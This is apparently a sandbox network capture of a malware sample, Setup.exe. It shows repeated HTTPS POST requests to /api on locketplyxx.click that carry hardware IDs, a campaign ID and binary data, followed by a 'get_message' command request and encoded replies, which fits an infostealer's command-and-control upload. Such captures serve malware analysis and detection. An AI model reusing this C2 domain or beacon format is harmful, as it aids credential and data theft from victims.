2024-12-22 22:32:26 UTC	1369	IN	Data Raw: 6f 46 77 5a 38 30 4d 39 61 63 50 4c 4f 4d 35 63 68 56 33 52 4f 37 31 2b 4e 63 49 6b 44 4e 4d 65 68 7a 47 45 50 62 50 66 78 65 32 6c 54 78 2f 6a 51 53 49 67 68 49 38 68 79 6b 33 42 41 63 41 75 71 58 55 68 69 7a 35 44 30 42 76 4a 59 4d 74 37 39 4a 6e 46 38 2b 73 46 57 73 52 56 4c 69 57 41 79 7a 61 48 56 49 55 43 79 32 76 79 4f 53 61 43 4f 45 7a 65 46 4d 4e 73 77 6a 47 2f 32 63 6e 6f 70 46 6b 63 34 55 45 74 49 6f 53 4b 4c 38 78 48 7a 67 50 4b 4b 4b 78 2f 61 73 4a 39 53 38 78 53 6e 79 6e 6b 49 4c 66 56 78 61 75 30 45 77 4f 6c 53 53 46 70 31 63 73 69 78 55 6e 43 42 63 6f 6f 6f 6e 77 75 68 6a 68 4d 33 41 44 50 61 63 4d 70 71 4e 6e 4c 37 71 64 65 47 75 46 49 4a 43 2b 4f 6a 32 6d 48 44 63 49 64 68 33 50 71 56 43 61 4c 46 45 76 50 55 74 67 6e 33 58 75 39 31 59 4b Data Ascii: oFwZ80M9acPLOM5chV3RO71+NcIkDNMehzGEPbPfxe2lTx/jQSIghI8hyk3BAcAuqXUhiz5D0BvJYMt79JnF8+sFWsRVLiWAyzaHVIUCy2vyOSaCOEzeFMNswjG/2cnopFkc4UEtIoSKL8xHzgPKKKx/asJ9S8xSnynkILfVxau0EwOlSSFp1csixUnCBcooonwuhjhM3ADPacMpqNnL7qdeGuFIJC+Oj2mHDcIdh3PqVCaLFEvPUtgn3Xu91YK
2024-12-22 22:32:26 UTC	1369	IN	Data Raw: 37 59 5a 66 58 75 53 78 54 43 4a 57 34 56 64 6c 57 58 71 61 32 72 55 66 51 76 58 41 4e 56 76 78 79 32 35 6e 76 7a 56 6a 45 63 58 34 31 6b 38 46 37 4f 4d 4d 38 52 4c 30 68 53 4c 50 71 6c 33 4a 49 73 72 44 4a 70 53 79 43 6d 63 41 76 71 52 67 74 54 6c 48 51 4b 6c 46 6d 30 63 6a 6f 55 6e 7a 6c 76 55 53 4f 41 78 70 33 38 39 6e 58 30 43 6c 42 53 48 4d 5a 52 31 2b 74 33 54 71 2f 4d 4e 53 4c 34 62 66 6e 37 64 32 54 61 48 56 49 55 54 68 33 50 34 4e 32 71 65 66 52 53 55 56 63 52 37 31 6a 32 35 7a 38 47 73 6c 57 4d 30 34 6b 67 6f 4c 70 33 4a 42 38 4a 5a 77 6b 57 4a 61 36 55 35 63 72 56 39 42 4a 51 74 69 53 6e 63 65 2b 4b 5a 39 2b 69 6c 55 78 33 7a 58 32 41 48 69 6f 30 73 7a 6c 32 48 4b 38 77 2f 72 54 6c 6b 7a 44 73 4d 6a 45 4b 4a 4b 63 41 71 2b 6f 47 53 75 66 41 49 Data Ascii: 7YZfXuSxTCJW4VdlWXqa2rUfQvXANVvxy25nvzVjEcX41k8F7OMM8RL0hSLPql3JIsrDJpSyCmcAvqRgtTlHQKlFm0cjoUnzlvUSOAxp389nX0ClBSHMZR1+t3Tq/MNSL4bfn7d2TaHVIUTh3P4N2qefRSUVcR71j25z8GslWM04kgoLp3JB8JZwkWJa6U5crV9BJQtiSnce+KZ9+ilUx3zX2AHio0szl2HK8w/rTlkzDsMjEKJKcAq+oGSufAI
2024-12-22 22:32:26 UTC	1369	IN	Data Raw: 6f 6f 6d 35 73 2b 78 67 4c 72 4d 2b 59 56 6c 47 77 70 67 6a 4e 4c 77 67 4f 48 4a 34 51 30 2b 6f 48 37 71 2b 4d 64 4a 61 73 4f 4e 57 6e 56 79 78 7a 4b 51 38 73 43 30 54 72 6e 58 69 53 4c 50 46 72 45 42 63 67 6d 36 67 32 62 6d 59 79 72 72 52 31 43 74 77 42 74 4c 5a 7a 4c 63 5a 6b 66 6e 6c 43 55 66 50 6f 72 4e 63 49 6b 44 4d 4a 53 6e 7a 75 4b 65 36 69 5a 6d 71 76 73 58 67 6a 33 53 43 34 2f 6a 73 77 58 39 32 72 4c 41 73 59 39 75 6e 51 6d 72 54 35 64 33 69 7a 35 66 4d 63 31 74 4e 37 55 2b 75 73 54 57 75 6f 4f 64 52 44 4e 77 32 6e 32 41 34 55 64 68 33 50 71 54 43 6d 43 4d 30 76 43 41 34 70 4f 79 6a 79 37 7a 39 4c 6d 70 33 77 5a 39 45 52 74 5a 38 32 4e 61 5a 45 66 69 30 58 44 4f 75 6f 68 65 74 35 6d 47 59 64 46 6c 7a 76 62 64 61 4f 5a 31 4b 76 7a 44 31 53 6c 58 Data Ascii: oom5s+xgLrM+YVlGwpgjNLwgOHJ4Q0+oH7q+MdJasONWnVyxzKQ8sC0TrnXiSLPFrEBcgm6g2bmYyrrR1CtwBtLZzLcZkfnlCUfPorNcIkDMJSnzuKe6iZmqvsXgj3SC4/jswX92rLAsY9unQmrT5d3iz5fMc1tN7U+usTWuoOdRDNw2n2A4Udh3PqTCmCM0vCA4pOyjy7z9Lmp3wZ9ERtZ82NaZEfi0XDOuohet5mGYdFlzvbdaOZ1KvzD1SlX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49723	172.67.151.193	443	6660	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:32:27 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O0NV6ML4KCB2R User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12805 Host: locketplyxx.click
2024-12-22 22:32:27 UTC	12805	OUT	Data Raw: 2d 2d 4f 30 4e 56 36 4d 4c 34 4b 43 42 32 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 41 32 38 37 32 38 44 30 45 43 31 34 46 31 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 0d 0a 2d 2d 4f 30 4e 56 36 4d 4c 34 4b 43 42 32 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 30 4e 56 36 4d 4c 34 4b 43 42 32 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 42 41 52 4e 49 0d 0a 2d 2d 4f 30 4e 56 36 4d 4c 34 4b 43 42 Data Ascii: --O0NV6ML4KCB2RContent-Disposition: form-data; name="hwid"4AA28728D0EC14F1E022E9EFAB276F17--O0NV6ML4KCB2RContent-Disposition: form-data; name="pid"2--O0NV6ML4KCB2RContent-Disposition: form-data; name="lid"jMw1IE--BARNI--O0NV6ML4KCB
2024-12-22 22:32:29 UTC	1148	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=66kom7emr52fo5daqqntikhvur; expires=Thu, 17 Apr 2025 16:19:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nAQzfYMv%2B6LjPyLwcIAR8vPxUwP%2BaVQf2%2F6tSBkJqk0VxXhT77ENTLt0T4uwL1sVPkmI%2Bu%2Bp9Sc8NpomoL9xC9Ip0%2FrwnFYSLgG0My7%2F8PzJ718Zd%2B%2FqSrCWQkQBVYF1Jyp%2B2A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f639167a970433a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1721&rtt_var=654&sent=11&recv=16&lost=0&retrans=0&sent_bytes=2842&recv_bytes=13741&delivery_rate=1660978&cwnd=242&unsent_bytes=0&cid=7eb32d9ea8b57177&ts=1278&x=0"
2024-12-22 22:32:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 22:32:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49729	172.67.151.193	443	6660	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:32:30 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CL7DNLMIGBA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15035 Host: locketplyxx.click
2024-12-22 22:32:30 UTC	15035	OUT	Data Raw: 2d 2d 43 4c 37 44 4e 4c 4d 49 47 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 41 32 38 37 32 38 44 30 45 43 31 34 46 31 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 0d 0a 2d 2d 43 4c 37 44 4e 4c 4d 49 47 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 4c 37 44 4e 4c 4d 49 47 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 42 41 52 4e 49 0d 0a 2d 2d 43 4c 37 44 4e 4c 4d 49 47 42 41 0d 0a 43 6f 6e 74 Data Ascii: --CL7DNLMIGBAContent-Disposition: form-data; name="hwid"4AA28728D0EC14F1E022E9EFAB276F17--CL7DNLMIGBAContent-Disposition: form-data; name="pid"2--CL7DNLMIGBAContent-Disposition: form-data; name="lid"jMw1IE--BARNI--CL7DNLMIGBACont
2024-12-22 22:32:31 UTC	1133	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mlpll1cqtnuv5ick5rde8pm9pd; expires=Thu, 17 Apr 2025 16:19:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rTyz2hkS2Gc3kc%2FLFLv7FaYCCLMUlDKV691lLjmCf1pBAt5HcWq8Fv81Qmr%2BVfiQSDcVSNqEcxUTylN8dBpTRTMa9HifFYH03qGCKc4ujB1WO4r3Do9%2F1TKn5Q599nXYOv7MpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f639178eb2f727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1923&min_rtt=1860&rtt_var=743&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2843&recv_bytes=15969&delivery_rate=1569892&cwnd=232&unsent_bytes=0&cid=0d340a3e5d9a8a05&ts=978&x=0"
2024-12-22 22:32:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 22:32:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49739	172.67.151.193	443	6660	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:32:33 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E1TGL2IM4P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20519 Host: locketplyxx.click
2024-12-22 22:32:33 UTC	15331	OUT	Data Raw: 2d 2d 45 31 54 47 4c 32 49 4d 34 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 41 32 38 37 32 38 44 30 45 43 31 34 46 31 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 0d 0a 2d 2d 45 31 54 47 4c 32 49 4d 34 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 31 54 47 4c 32 49 4d 34 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 42 41 52 4e 49 0d 0a 2d 2d 45 31 54 47 4c 32 49 4d 34 50 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --E1TGL2IM4PContent-Disposition: form-data; name="hwid"4AA28728D0EC14F1E022E9EFAB276F17--E1TGL2IM4PContent-Disposition: form-data; name="pid"3--E1TGL2IM4PContent-Disposition: form-data; name="lid"jMw1IE--BARNI--E1TGL2IM4PContent-
2024-12-22 22:32:33 UTC	5188	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-12-22 22:32:34 UTC	1136	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:32:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3f77us8rqj4l2pi9s6d78lsq4h; expires=Thu, 17 Apr 2025 16:19:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZNAOfFOre%2FqlazHCX4j2ewNvdg8kg4eMz88SfNZ5sA4bY7tITdQ2kWLL60wvS5THbjp%2BwKiv4u%2Bl%2FgwJAcT9Mw0LSqqtJt8wnf6K8LxG9FBXIHorn4azHfhf7R851Kz6twlgXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f63918b390bc334-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1520&min_rtt=1505&rtt_var=575&sent=18&recv=25&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21474&delivery_rate=1940199&cwnd=247&unsent_bytes=0&cid=b5832a6025cb0724&ts=1013&x=0"
2024-12-22 22:32:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 22:32:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49744	172.67.151.193	443	6660	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:32:36 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DBW16J0K9SXKV34RL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1249 Host: locketplyxx.click
2024-12-22 22:32:36 UTC	1249	OUT	Data Raw: 2d 2d 44 42 57 31 36 4a 30 4b 39 53 58 4b 56 33 34 52 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 41 32 38 37 32 38 44 30 45 43 31 34 46 31 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 0d 0a 2d 2d 44 42 57 31 36 4a 30 4b 39 53 58 4b 56 33 34 52 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 42 57 31 36 4a 30 4b 39 53 58 4b 56 33 34 52 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 42 41 52 4e 49 0d 0a 2d Data Ascii: --DBW16J0K9SXKV34RLContent-Disposition: form-data; name="hwid"4AA28728D0EC14F1E022E9EFAB276F17--DBW16J0K9SXKV34RLContent-Disposition: form-data; name="pid"1--DBW16J0K9SXKV34RLContent-Disposition: form-data; name="lid"jMw1IE--BARNI-
2024-12-22 22:32:36 UTC	1134	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d2bf6dh5s8090j540t4tjtboec; expires=Thu, 17 Apr 2025 16:19:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UVdR96CfthW%2B4RPn%2BclVSM3dlAqtgsy9%2FI%2B7QDPFERmCPwzqzD1JPJA7k1UAUWx0OVfsAEmQjOE1wrfdeGIrEMwIRw3U2eGw5VyyiMVzJSsQeTTVuMX2FWa%2B2o2m5Gt6Yix2lg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f63919b0df98c69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1865&min_rtt=1855&rtt_var=703&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2166&delivery_rate=1574123&cwnd=217&unsent_bytes=0&cid=ac38f296f291fb11&ts=767&x=0"
2024-12-22 22:32:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 22:32:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49750	172.67.151.193	443	6660	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:32:38 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=G33O3RTWL8F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1075 Host: locketplyxx.click
2024-12-22 22:32:38 UTC	1075	OUT	Data Raw: 2d 2d 47 33 33 4f 33 52 54 57 4c 38 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 41 32 38 37 32 38 44 30 45 43 31 34 46 31 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 0d 0a 2d 2d 47 33 33 4f 33 52 54 57 4c 38 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 33 33 4f 33 52 54 57 4c 38 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 42 41 52 4e 49 0d 0a 2d 2d 47 33 33 4f 33 52 54 57 4c 38 46 0d 0a 43 6f 6e 74 Data Ascii: --G33O3RTWL8FContent-Disposition: form-data; name="hwid"4AA28728D0EC14F1E022E9EFAB276F17--G33O3RTWL8FContent-Disposition: form-data; name="pid"1--G33O3RTWL8FContent-Disposition: form-data; name="lid"jMw1IE--BARNI--G33O3RTWL8FCont
2024-12-22 22:32:39 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:32:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n2b0rp2kad7v8ujfomfh4u4e58; expires=Thu, 17 Apr 2025 16:19:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6VWZrSd1ChK0mT3Ckg%2FnsNxdkIx7Wcf7nnGmePy2GXHGJ3OqHKsWitIOJwdo99bzUh%2FfyHrRWprqclXVyoqOZoiSw3lGgq45jz02tOULiqyw5huQ2Pnh4lqC36Jk1Xk7s6xpZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6391a7ec5cc448-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1647&min_rtt=1642&rtt_var=626&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1986&delivery_rate=1734997&cwnd=228&unsent_bytes=0&cid=54499cb72dfe42c4&ts=1166&x=0"
2024-12-22 22:32:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 22:32:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49756	172.67.151.193	443	6660	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:32:40 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 114 Host: locketplyxx.click
2024-12-22 22:32:40 UTC	114	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 42 41 52 4e 49 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 26 68 77 69 64 3d 34 41 41 32 38 37 32 38 44 30 45 43 31 34 46 31 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 Data Ascii: act=get_message&ver=4.0&lid=jMw1IE--BARNI&j=aa77e78b6b0dd1b2226e7b799532ab3a&hwid=4AA28728D0EC14F1E022E9EFAB276F17
2024-12-22 22:32:41 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k9k7te1arggkp9qlo0hvnvs4du; expires=Thu, 17 Apr 2025 16:19:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NdTJllbM4K47vEFxyufnfHv%2BPk7E6YVdSoXMdLDeP5simRvN4wQVpDTo4n%2Bbsa75XHoWjjM0DrOqVDCfMGUCevoZaCf7Lb7B6TDGCusHhtVJ8Tj4VHnUAI015TdvTNqzlrndYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6391b79ea68c8f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1810&min_rtt=1801&rtt_var=695&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1016&delivery_rate=1553191&cwnd=209&unsent_bytes=0&cid=a1da19cbacf3bab3&ts=1059&x=0"
2024-12-22 22:32:41 UTC	222	IN	Data Raw: 64 38 0d 0a 6b 4e 70 6c 79 57 34 50 63 6c 34 77 54 32 4d 73 69 57 68 2b 53 4f 72 30 32 6e 68 50 36 6a 43 77 74 77 30 57 44 6d 69 49 55 37 58 4c 6f 55 65 38 54 44 56 51 4e 6b 51 37 45 31 2b 7a 4e 46 45 55 78 5a 71 2f 43 53 62 45 51 39 6a 59 66 55 6f 68 47 2b 77 30 33 2b 6d 76 45 5a 56 42 66 77 45 32 48 6a 73 62 57 4b 74 45 58 43 36 65 31 75 42 4b 59 38 68 56 6b 6f 30 38 61 79 49 54 71 69 61 58 71 76 67 4e 76 52 70 2f 41 57 52 73 59 44 38 44 34 67 51 58 4f 49 6d 56 72 68 30 2f 67 30 57 41 6d 58 35 2b 59 52 6a 55 66 4e 7a 2b 72 6a 71 71 41 6e 38 74 4d 6c 51 39 50 46 2f 68 43 56 41 38 6b 6f 44 34 56 47 32 4d 52 4a 4b 4e 50 7a 6f 73 44 61 70 70 68 4f 32 48 0d 0a Data Ascii: 